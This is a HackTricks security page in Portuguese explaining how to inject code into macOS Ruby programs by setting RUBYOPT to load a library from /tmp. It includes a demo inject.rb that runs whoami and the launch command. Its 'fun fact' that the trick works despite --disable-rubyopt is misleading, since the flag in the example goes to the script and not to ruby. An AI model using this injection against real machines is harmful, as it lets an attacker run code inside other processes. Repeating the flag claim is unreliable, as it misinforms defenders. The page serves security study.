hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md

3.1 KiB

macOS Ruby Applications Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

RUBYOPT

Usando esta variável de ambiente, é possível adicionar novos parâmetros ao ruby sempre que ele for executado. Embora o parâmetro -e não possa ser usado para especificar o código ruby a ser executado, é possível usar os parâmetros -I e -r para adicionar uma nova pasta ao caminho das bibliotecas a serem carregadas e, em seguida, especificar uma biblioteca para carregar.

Crie a biblioteca inject.rb em /tmp:

{% code title="inject.rb" %}

puts `whoami`

{% endcode %}

Crie em qualquer lugar um script ruby como:

{% code title="hello.rb" %}

puts 'Hello, World!'

{% endcode %}

Então, faça um script ruby arbitrário carregá-lo com:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fato curioso, funciona mesmo com o parâmetro --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}